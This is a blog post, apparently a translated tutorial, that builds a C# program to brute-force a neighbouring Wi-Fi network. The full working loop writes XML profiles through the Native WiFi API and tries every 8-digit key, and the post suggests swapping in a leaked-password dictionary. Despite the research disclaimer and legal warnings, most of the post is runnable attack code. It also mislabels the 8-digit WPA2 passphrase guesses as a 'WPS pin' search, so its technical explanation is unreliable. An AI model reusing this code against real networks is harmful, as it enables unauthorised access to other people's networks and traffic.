Neighbor Wi-Fi brute force (for research purposes only)

Strong and constantly changing passwords are great. Especially when they change on the Wi-Fi router and WPS is generally disabled on it. In this post: how long does it take to enumerate a WPS pin and does it have a practical use? We will also write a brute force program in C#

Disclaimer: the information presented in the publication is purely exploratory in nature for considering the brute force threat model (password guessing) in order to assess the security of the test bench and is not an instruction for illegal actions. The study was conducted on a test bench consisting of personal equipment not connected to the Internet. Responsibility for the illegal use of the information received lies with the subject who reproduced the attack for non-research purposes and against the equipment of other subjects.

So

The most boring but obligatory block of the article is behind, but it is worth remembering the following articles of the Criminal Code of the Russian Federation:

  1. Art. 272 of the Criminal Code of the Russian Federation. Illegal access to computer information

  2. Art. 273 of the Criminal Code of the Russian Federation. Creation, use and distribution of malicious computer programs

  3. Art. 138 of the Criminal Code of the Russian Federation. Violation of the secrecy of correspondence, telephone conversations, postal, telegraphic or other messages

  4. Art. 159.6 of the Criminal Code of the Russian Federation. Fraud in the field of computer information

Hacking other people’s Wi-Fi routers is a very bad idea.

However, as a “proof of concept” let’s try to reproduce a brute force attack on a home router using C#. The attack will be based on the use Native WiFi API and xml profiles.

Profiles for Wi-Fi, in my opinion, deserves a separate article and it was a big surprise for me that there is a profile, for example, directly from the site – there is a little about this article in documentation Microsoft. In short, it works like this: the xml with the connection details is pulled into the system settings (and to be exact, in the UWP Settings application) and the pop-up window shows which network it is proposed to add. As stated in the article itself, this can be used to add a network in advance, even before visiting the cafe/lounge/{you_name_it} where the network broadcasts. xml profile elements are described in detail here.

The attack will be carried out by generating an xml profile in the code and passing it to Native WiFi API – then Windows will try to connect and, if it was possible to find a WPS pin, the successfully used profile will remain in the computer, and the pin will be displayed on the console.

You can view existing profiles in two ways: manually and through the console. For manual viewing, you need to go to C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces and select an adapter by its Id – you can find out this Id with a small debug of the plug-in library or by sorting it out manually. To view through the console, you will need administrator rights and a couple of commands – this method is more convenient for point-by-point pulling out a profile to the desired network:

netsh wlan show profile
netsh wlan export profile name="{Insert profile name}" folder=C:\WlanProfiles

In order not to make a mistake with the values ​​and fields in the xml profile, you can first try to connect to the attacked Wi-Fi network with a knowingly wrong password – in this way Windows will create an xml file for you and then you will only have to dynamically substitute passwords.

In the xml example, the profile will be stored as a string in the code, and this is not the best approach to forming xml, but it is quite enough to play around with trying to connect to the network. In fact, the Microsoft documentation site has xsd schema on which xml profiles are created, but for some reason there is no “sharedKey” section in it, so I decided to store the xml profile just as a line in the code as described in stackoverflow. In general, for a more “industrial” solution, you can generate classes through xsd.exe, but in this particular case, you will have to check the xml profile of the attacked network to find all the missing fields, since it is quite possible that the published xsd schema is simply outdated.

Any Wi-Fi adapter should be able to handle such an attack, but guessing a password without a strategy and without parallelization across several adapters will take a lot of time. So sorting through the WPS pin with one adapter and trying every 2 seconds can take up to 6.3 years or before 2315 days. It would be appropriate to recall the quote that “9 women do not give birth to a child in a month”, because the use of 9 adapters will reduce password guessing to 257 days – almost 9 months 😀

Step 1 – Preparing the Solution

To get started, slope the project Managed WiFi is a wrapper for accessing the wlanapi.dll assembly, which will give access to Native WiFi API – the latter makes it possible to view the status of Wi-Fi adapters, networks, and add connection profiles, which will be used to reproduce the attack.

Here I will note that there is a package in NuGet Managed WiFibut while connecting to Wi-Fi, an exception occurred – I solved it with a link to the downloaded project, but maybe the package will work for you the first time.

Next, create a project with a console application and link to the project managed wifi from the downloaded repository, or add the NuGet package of the same name. This stage can be considered successful if it was possible to create the WlanClient object, see the list of adapters and display the list of available networks:

WlanClient client = new ();
foreach (WlanClient.WlanInterface wlan in client.Interfaces)
{
  	wlan.Scan();
  	Wlan.WlanAvailableNetwork[] networks = wlan.GetAvailableNetworkList(0);
  	foreach (Wlan.WlanAvailableNetwork network in networks)
    {
      	string ssid = Encoding.Default.GetString(network.dot11Ssid.SSID);
      	Console.WriteLine(ssid);
    }
}

Step 2 – Profile for Wi-Fi

The profile will be assembled from three components: profile name, hex value of the SSID name and WPS pin with which the connection will be attempted, and all other fields will be taken from the xml profile with which we previously tried to connect to a similar network. For the test, let’s try to connect to a network with WPA2PSK / AES security, which we found above:

string key = "00000001"; // А еще сюда можно вписать заранее (не)известный пароль
string profileName = Encoding.Default.GetString(network.dot11Ssid.SSID);
byte[] hexBytes = Encoding.Default.GetBytes(profileName);
string hex = BitConverter.ToString(hexBytes).Replace("-", "");

string profileXml = string.Format(
                "<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>{0}</name><SSIDConfig><SSID><hex>{1}</hex><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><autoSwitch>false</autoSwitch><MSM><security><authEncryption><authentication>WPA2PSK</authentication><encryption>AES</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>passPhrase</keyType><protected>false</protected><keyMaterial>{2}</keyMaterial></sharedKey><keyIndex>0</keyIndex></security></MSM></WLANProfile>",
                profileName, hex, key);

As it was said at the very beginning, such an xml profile will be created for each attempt, and the already existing profile for the attacked network will be overwritten. Further, when calling the Connect method, the name of the profile by which you want to connect will be passed:

try
{
  wlan.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
  wlan.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName);
  await Task.Delay(2 * 1000);
}
catch (Exception e)
{
  Console.WriteLine(e);
}

Step 3

Let’s collect everything that happened in one place and try to run:

using System.Text;
using NativeWifi;

// Берем первый попавшийся Wi-Fi адаптер
WlanClient client = new ();
WlanClient.WlanInterface wlan = client.Interfaces[0];
wlan.Scan();
Wlan.WlanAvailableNetwork[] networks = wlan.GetAvailableNetworkList(0);
if (networks.Length == 0)
{
  OutputExtensions.PrintRow("No networks found");
  return;
}

// Отбираем сеть по её названию
Wlan.WlanAvailableNetwork network = networks
        .FirstOrDefault(n => Encoding.Default.GetString(n.dot11Ssid.SSID) == "desired_network_name");

// Подготавливаем данные для создания профиля
string profileName = Encoding.Default.GetString(network.dot11Ssid.SSID);
byte[] hexBytes = Encoding.Default.GetBytes(profileName);
string hex = BitConverter.ToString(hexBytes).Replace("-", "");

// Перебираем значения WPS pin - максимум 8 цифр.
// Также же тут можно сделать перебор по словарю утекших паролей
for (int i = 0; i < 99999999; i++)
{
  string wpsPin = $"{i}";
  wpsPin = new string('0', 8 - wpsPin.Length) + wpsPin;
  Console.WriteLine($"Trying pin {wpsPin}");
	
  string profileXml = string.Format(
    "<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>{0}</name><SSIDConfig><SSID><hex>{1}</hex><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><autoSwitch>false</autoSwitch><MSM><security><authEncryption><authentication>WPA2PSK</authentication><encryption>AES</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>passPhrase</keyType><protected>false</protected><keyMaterial>{2}</keyMaterial></sharedKey><keyIndex>0</keyIndex></security></MSM></WLANProfile>",
    profileName, hex, wpsPin);

  try
  {
    wlan.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
    wlan.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName);
    // Тут задается время ожидания для попытки
    // В моей конфигурации это 2 секунды, но
    // время придется подбирать вручную
    await Task.Delay(2 * 1000);
  }
  catch (Exception e)
  {
    Console.WriteLine(e);
  }

  if (wlan.CurrentConnection.isState == Wlan.WlanInterfaceState.Connected)
  {
    Console.WriteLine($"WPS pin is {wpsPin}");
    break;
  }

  Console.WriteLine($"WPS pin {wpsPin} did not work");
}

Instead of a conclusion

As it turned out, it is possible to write a program for selecting a WPS pin in C #, and besides just sorting through numbers, with minor modifications, you can even sort out passwords from a file.

There is very little practical sense in this program, but at least something can be reused to update Wi-Fi profiles in corporate laptops or carry out another type of attack and, for example, force the desired device to connect to the “correct” network.

Aircrack-ng has been in the public domain for a long time and with minimal knowledge, you can guess the password to the network in a reasonable time simply by following the guide. And remember: Hacking other people’s Wi-Fi routers is a very bad idea.

Similar Posts

Leave a Reply